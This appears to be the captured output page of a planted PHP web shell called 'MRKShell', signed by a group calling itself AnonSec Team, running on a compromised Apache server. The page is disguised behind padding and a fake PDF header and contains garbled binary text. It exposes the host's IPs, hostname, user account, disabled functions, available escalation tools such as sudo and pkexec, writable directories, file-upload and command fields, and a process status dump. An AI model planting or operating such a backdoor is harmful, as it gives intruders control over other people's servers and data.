...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.216.26
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/thread-self/root/proc/thread-self/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/proc/thread-self/root/proc/thread-self/status
Name:	php-fpm
Umask:	0022
State:	R (running)
Tgid:	847648
Ngid:	0
Pid:	847648
PPid:	3316218
TracerPid:	0
Uid:	1047	1047	1047	1047
Gid:	1050	1050	1050	1050
FDSize:	128
Groups:	1050 
NStgid:	847648
NSpid:	847648
NSpgid:	3316218
NSsid:	3316218
VmPeak:	  707500 kB
VmSize:	  705452 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	  135536 kB
VmRSS:	  133488 kB
RssAnon:	   31396 kB
RssFile:	   13660 kB
RssShmem:	   88432 kB
VmData:	   33680 kB
VmStk:	     136 kB
VmExe:	    3996 kB
VmLib:	   45684 kB
VmPTE:	     808 kB
VmSwap:	    2504 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	0/254825
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000001000
SigCgt:	0000000184004a07
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ffffffff
Cpus_allowed_list:	0-31
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	8166
nonvoluntary_ctxt_switches:	136

Anon7 - 2022
AnonSec Team